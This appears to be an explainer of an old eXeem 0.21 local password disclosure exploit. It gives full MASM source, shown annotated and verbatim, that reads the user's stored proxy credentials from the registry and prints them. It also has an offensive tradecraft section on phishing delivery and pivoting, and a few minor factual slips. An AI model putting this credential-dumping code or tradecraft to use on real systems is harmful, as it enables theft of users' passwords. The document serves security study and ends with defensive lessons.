eXeem 0.21 Local Password Disclosure (ASM) Exploit Explained

eXeem 0.21 Local Password Disclosure (ASM) Exploit Explained
What this paper is
This paper presents an assembly language exploit for eXeem version 0.21. The exploit targets a vulnerability where the program stores proxy connection details (IP address, username, and password) in the Windows Registry without proper encoding. This allows a local attacker with sufficient privileges to read these sensitive credentials directly from the registry.
Simple technical breakdown
The exploit works by:
- Checking for eXeem installation: It first attempts to open a specific registry key associated with eXeem. If this key doesn't exist, it means eXeem is likely not installed, and the exploit reports this.
- Reading registry values: If eXeem is found, the exploit then tries to read three specific registry values:
proxy_ip,proxy_username, andproxy_password. These values are expected to be stored under the eXeem registry key. - Handling missing data: If any of these values are not found or are empty, the exploit substitutes them with "NOT FOUND" to indicate that the information wasn't stored.
- Formatting and displaying output: Finally, the exploit formats the retrieved (or "NOT FOUND") proxy information into a human-readable string and prints it to the standard output.
Essentially, it's a direct registry read operation that bypasses any intended obscurity or security measures eXeem might have had for storing sensitive data.
Complete code and payload walkthrough
The provided code is written in MASM (Microsoft Macro Assembler) for Windows.
; Nothing Special other than the program doesnt encode the proxy info.
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib- Directives and Includes:
.386,.model flat, stdcall: Specifies the processor architecture and memory model.option casemap :none: Makes identifier names case-sensitive.include ...: These lines include header files from the MASM32 SDK, providing definitions for Windows API functions and structures. This is standard practice for Windows assembly programming.includelib ...: These lines link against the corresponding import libraries, making the Windows API functions available at link time.
literal MACRO quoted_text:VARARG
LOCAL local_text
.data
local_text db quoted_text,0
.code
EXITM <local_text>
ENDM
SADD MACRO quoted_text:VARARG
EXITM <ADDR literal(quoted_text)>
ENDM- Macros:
literal MACRO: This macro defines a string literal within the.datasection and returns its address. It's a convenience for creating null-terminated strings.SADD MACRO: This macro takes a string literal (defined usingliteral), gets its address, and returns it. It's a shorthand forADDR literal(...).
.data
SubKey db "Software\\Exeem\",0
szIP db "proxy_ip",0
szUser db "proxy_username",0
szPass db "proxy_password",0
noExeem db "eXeem v0.2X is not installed on your pc!",0
NotFound db "Info NOT Stored.",0
Theoutput db '_______________________________________________________________',13,10
db '* Exeem v0.2X Local Proxy Pass Exploit *',13,10
db '* Based On Kozans code in C *',13,10
db '* by illwill - xillwillx@yahoo.com *',13,10
db '*_____________________________________________________________*',13,10
db ' Proxy IP: %s ',13,10
db ' UserName: %s ',13,10
db ' Password: %s ',13,10,0
KeySize DWORD 255- Data Section (
.data):SubKey: Stores the registry key path for eXeem. Note the double backslash\\which is how backslashes are represented in string literals in MASM.szIP,szUser,szPass: Store the names of the registry values to be queried for IP, username, and password, respectively.noExeem: A message displayed if eXeem is not detected.NotFound: A placeholder string for missing registry values.Theoutput: A formatted string that will be used to display the exploit's results. It includes headers and placeholders (%s) for the proxy details.13,10represents carriage return and line feed (newline).KeySize: A DWORD (4 bytes) initialized to 255. This will be used to store the size of the data read from the registry.
.data?
TheIPData db 64 dup (?)
TheUSERData db 64 dup (?)
ThePASSData db 64 dup (?)
TheReturn DWORD ?
strbuf db 258 dup (0)- Uninitialized Data Section (
.data?):TheIPData,TheUSERData,ThePASSData: Buffers to hold the data read from the registry for IP, username, and password. Each is allocated 64 bytes.dup (?)means the bytes are uninitialized.TheReturn: A DWORD variable to store the handle to the opened registry key.strbuf: A buffer of 258 bytes, initialized to zeros. This will be used bywsprintfto format the final output string.
.code
start:
invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn- Code Section (
.code):start:: The entry point of the program.invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn: This is the first major operation.RegOpenKeyEx: A Windows API function to open a registry key.HKEY_CURRENT_USER: Specifies that the key is under the current user's hive.addr SubKey: The address of the null-terminated string containing the registry key path ("Software\Exeem").0: Reserved, must be zero.KEY_READ: Specifies that we want to open the key for reading.addr TheReturn: The address of a DWORD variable where the handle to the opened key will be stored.- The return value of
RegOpenKeyExis placed in theEAXregister.
.IF eax==ERROR_SUCCESS- Conditional Execution:
.IF eax==ERROR_SUCCESS: Checks if theRegOpenKeyExcall was successful.ERROR_SUCCESSis a constant defined inwindows.inc(value 0). IfEAXis not 0, the code inside the.IFblock is skipped.
invoke RegQueryValueEx,TheReturn,addr szIP,0,0,addr TheIPData, addr KeySize- Reading IP Value:
invoke RegQueryValueEx,TheReturn,addr szIP,0,0,addr TheIPData, addr KeySize: Reads a specific value from the opened registry key.RegQueryValueEx: Windows API function to query the type and data of a specified registry value.TheReturn: The handle to the open registry key obtained fromRegOpenKeyEx.addr szIP: The address of the null-terminated string containing the name of the value to query ("proxy_ip").0: Reserved, must be zero.0: Pointer to a DWORD that receives the type of the value. We don't care about the type here, so it's passed as 0.addr TheIPData: The address of the buffer where the value's data will be stored.addr KeySize: The address of a DWORD variable that, on input, specifies the size of the buffer (TheIPData). On output, it receives the actual size of the data copied into the buffer.
.IF KeySize < 2
invoke lstrcpy,addr TheIPData,SADD("NOT FOUND")
.ENDIF- Handling Empty IP:
.IF KeySize < 2: Checks if the size of the data read forproxy_ipis less than 2 bytes. This is a heuristic to detect if the value was empty or not properly set. A typical string value would be at least 1 byte (for the null terminator) plus any characters.invoke lstrcpy,addr TheIPData,SADD("NOT FOUND"): IfKeySizeis less than 2, it copies the string "NOT FOUND" into theTheIPDatabuffer, overwriting whatever was there (or nothing).SADDis a macro that gets the address of a literal string.
invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheUSERData,SADD("NOT FOUND")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePASSData,SADD("NOT FOUND")
.ENDIF- Reading Username and Password: These blocks are identical in logic to the IP reading block, but they query for
proxy_usernameandproxy_passwordrespectively, storing the results inTheUSERDataandThePASSDatabuffers. They also include the same check forKeySize < 2and substitute "NOT FOUND" if the data is considered empty.
invoke wsprintf, addr strbuf, addr Theoutput,addr TheIPData,addr TheUSERData,addr ThePASSData- Formatting Output:
invoke wsprintf, addr strbuf, addr Theoutput,addr TheIPData,addr TheUSERData,addr ThePASSData: Formats the output string.wsprintf: A Windows API function similar tosprintfin C, used for formatted string output.addr strbuf: The destination buffer where the formatted string will be written.addr Theoutput: The address of the format string (Theoutputvariable).addr TheIPData,addr TheUSERData,addr ThePASSData: The addresses of the arguments that will replace the%splaceholders in the format string.
invoke StdOut, addr strbuf- Displaying Output:
invoke StdOut, addr strbuf: Prints the formatted string fromstrbufto the standard output.StdOutis a MASM32 library function that typically wrapsWriteConsoleorWriteFileto the console.
.ELSE
invoke StdOut, addr noExeem
.ENDIF- Handling eXeem Not Found:
.ELSE: If the initialRegOpenKeyExcall failed (i.e.,EAXwas notERROR_SUCCESS), this block is executed.invoke StdOut, addr noExeem: Prints the "eXeem v0.2X is not installed on your pc!" message to standard output..ENDIF: Closes the conditional block.
invoke RegCloseKey , TheReturn
Invoke ExitProcess,0
end start- Cleanup and Exit:
invoke RegCloseKey , TheReturn: Closes the registry key handle that was opened earlier. This is important for releasing system resources.Invoke ExitProcess,0: Terminates the current process with an exit code of 0 (indicating success).end start: Marks the end of the assembly code and specifies the entry point.
Mapping of Code Fragments to Practical Purpose:
.386,.model flat, stdcall,include,includelib: Setup and Dependencies - Defines the environment and imports necessary Windows API functions.literal MACRO,SADD MACRO: Helper Macros - Simplifies string handling and address retrieval..datasection variables (SubKey,szIP,szUser,szPass,noExeem,NotFound,Theoutput,KeySize): Configuration and Strings - Holds static data like registry paths, value names, messages, and output formatting..data?section variables (TheIPData,TheUSERData,ThePASSData,TheReturn,strbuf): Runtime Buffers and Variables - Used to store dynamic data like registry handles, read values, and formatted output.start:label: Entry Point - The beginning of program execution.invoke RegOpenKeyEx, ...: Registry Key Access - Attempts to open the target eXeem registry key for reading..IF eax==ERROR_SUCCESS: Error Checking (Key Open) - Verifies if the registry key was successfully opened.invoke RegQueryValueEx, ...: Registry Value Retrieval - Reads specific proxy configuration values from the registry..IF KeySize < 2: Data Validation (Empty Value) - Checks if a registry value was empty or not properly set.invoke lstrcpy, ..., SADD("NOT FOUND"): Placeholder Insertion - Replaces missing data with a "NOT FOUND" string.invoke wsprintf, ...: Output Formatting - Combines the retrieved data into a readable output string.invoke StdOut, ...: Display Results - Prints the formatted output to the console..ELSE: Error Handling (Key Open Failed) - Executes if the registry key could not be opened.invoke StdOut, addr noExeem: Display Not Installed Message - Informs the user if eXeem is not detected.invoke RegCloseKey, ...: Resource Cleanup - Closes the opened registry key handle.Invoke ExitProcess,0: Program Termination - Exits the exploit program cleanly.
Payload/Shellcode Explanation:
This exploit does not contain traditional shellcode in the sense of executable bytes that are injected into another process or executed directly. Instead, the "payload" is the MASM assembly code itself. When compiled and run, this code is the executable program that performs the exploit. Its actions are entirely self-contained: it opens the registry, reads specific values, formats them, and prints them.
Practical details for offensive operations teams
- Required Access Level: Local Administrator privileges are generally not required. The exploit targets
HKEY_CURRENT_USER, meaning it only needs the privileges of the logged-in user to read their own registry hive. Standard user accounts can execute this. - Lab Preconditions:
- A Windows operating system where eXeem v0.2X (or a compatible version that uses the same registry structure) is installed.
- The target user must have configured proxy settings within eXeem that were saved to the registry.
- The MASM32 SDK must be installed on the attacker's machine to compile the exploit code. Alternatively, a pre-compiled executable would be used.
- Tooling Assumptions:
- MASM32 SDK: Required for compiling the source code into an executable.
- Text Editor: For writing/modifying the assembly code.
- Windows Command Prompt/PowerShell: To compile and run the exploit.
- Sysinternals Suite (optional): Tools like
Regeditcan be used to manually verify the registry entries before or after running the exploit.
- Execution Pitfalls:
- eXeem Version/Registry Structure: The exploit is specific to eXeem v0.2X and its known registry key/value names. Later versions or different proxy clients will not be affected.
- No Proxy Configuration: If the user has not configured proxy settings in eXeem, or if eXeem does not store them in the registry in the expected format, the exploit will report "NOT FOUND" for those fields.
- Registry Permissions: While typically accessible by the user, extremely restrictive group policies could theoretically prevent even
HKEY_CURRENT_USERreads, though this is rare for standard user operations. - Antivirus/EDR: Simple registry reading is usually low-fidelity for detection. However, the act of running an unknown executable that probes the registry might trigger heuristics or behavioral analysis, especially if it's part of a larger attack chain.
- Compilation Errors: Incorrect MASM syntax or missing SDK components will prevent successful compilation.
- Tradecraft Considerations:
- Stealth: Running a compiled executable that only reads the registry is relatively stealthy from a network perspective. Local logging might capture process execution.
- Persistence: This exploit is not persistent. It's a one-time information disclosure. To maintain access or leverage this information, it would need to be combined with other techniques.
- Delivery: The compiled executable would need to be delivered to the target system, likely through social engineering, phishing, or another initial access vector.
- Information Correlation: The extracted proxy credentials can be valuable for pivoting to other internal systems or external services that the compromised user might access via the proxy.
Where this was used and when
- Context: This exploit was published in February 2005. At that time, many applications stored sensitive configuration data, including credentials, directly in the Windows Registry without encryption or strong obfuscation.
- Usage: Exploits like this were common in the early to mid-2000s for local privilege escalation or information gathering by attackers who had already gained initial access to a user's workstation. It's a classic example of a "local information disclosure" vulnerability.
- Approximate Years: 2005 and likely the years immediately following, until applications started adopting better security practices for storing credentials.
Defensive lessons for modern teams
- Secure Credential Storage: Applications should never store plaintext passwords or sensitive credentials in the registry or configuration files. Use secure storage mechanisms like the Windows Credential Manager (DPAPI), encrypted configuration files, or dedicated secrets management solutions.
- Least Privilege: Ensure applications run with the minimum necessary privileges. While this exploit targeted
HKEY_CURRENT_USER, a more severe vulnerability might target system-wide registry keys requiring higher privileges. - Registry Monitoring: Implement monitoring for suspicious registry access patterns. While reading user-specific keys is normal, sudden or widespread access to sensitive configuration keys across multiple users or unusual key paths could be an indicator of compromise.
- Application Hardening: Regularly audit applications for insecure data storage practices. Developers should be trained on secure coding principles, including credential management.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect anomalous process behavior, including executables that perform extensive registry queries or access sensitive configuration locations.
ASCII visual (if applicable)
This exploit is a linear process of reading from the local system's registry. A complex architecture diagram isn't strictly necessary, but a simple flow can be visualized:
+-----------------+ +-----------------+ +-----------------+
| Attacker's |----->| Target Windows |----->| Windows Registry |
| Executable | | Machine | | (HKEY_CURRENT_USER)|
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Open Key | 2. Read Values
| (HKEY_CURRENT_USER\Software\Exeem\) | (proxy_ip,
| | proxy_username,
| | proxy_password)
| |
| 3. Format Output | 4. Return Data
| (using wsprintf) |
| |
| 5. Display Output |
| (to console) |
+--------------------------------------------------+Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/844
- Raw Exploit Code: https://www.exploit-db.com/raw/844
- MASM32 SDK: (Implicitly used for compilation, not a direct reference in the paper itself)
Original Exploit-DB Content (Verbatim)
;Nothing Special other than the program doesnt encode the proxy info.
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib
literal MACRO quoted_text:VARARG
LOCAL local_text
.data
local_text db quoted_text,0
.code
EXITM <local_text>
ENDM
SADD MACRO quoted_text:VARARG
EXITM <ADDR literal(quoted_text)>
ENDM
.data
SubKey db "Software\\Exeem\",0
szIP db "proxy_ip",0
szUser db "proxy_username",0
szPass db "proxy_password",0
noExeem db "eXeem v0.2X is not installed on your pc!",0
NotFound db "Info NOT Stored.",0
Theoutput db '_______________________________________________________________',13,10
db '* Exeem v0.2X Local Proxy Pass Exploit *',13,10
db '* Based On Kozans code in C *',13,10
db '* by illwill - xillwillx@yahoo.com *',13,10
db '*_____________________________________________________________*',13,10
db ' Proxy IP: %s ',13,10
db ' UserName: %s ',13,10
db ' Password: %s ',13,10,0
KeySize DWORD 255
.data?
TheIPData db 64 dup (?)
TheUSERData db 64 dup (?)
ThePASSData db 64 dup (?)
TheReturn DWORD ?
strbuf db 258 dup (0)
.code
start:
invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn
.IF eax==ERROR_SUCCESS
invoke RegQueryValueEx,TheReturn,addr szIP,0,0,addr TheIPData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheIPData,SADD("NOT FOUND")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheUSERData,SADD("NOT FOUND")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePASSData,SADD("NOT FOUND")
.ENDIF
invoke wsprintf, addr strbuf, addr Theoutput,addr TheIPData,addr TheUSERData,addr ThePASSData
invoke StdOut, addr strbuf
.ELSE
invoke StdOut, addr noExeem
.ENDIF
invoke RegCloseKey , TheReturn
Invoke ExitProcess,0
end start
; milw0rm.com [2005-02-26]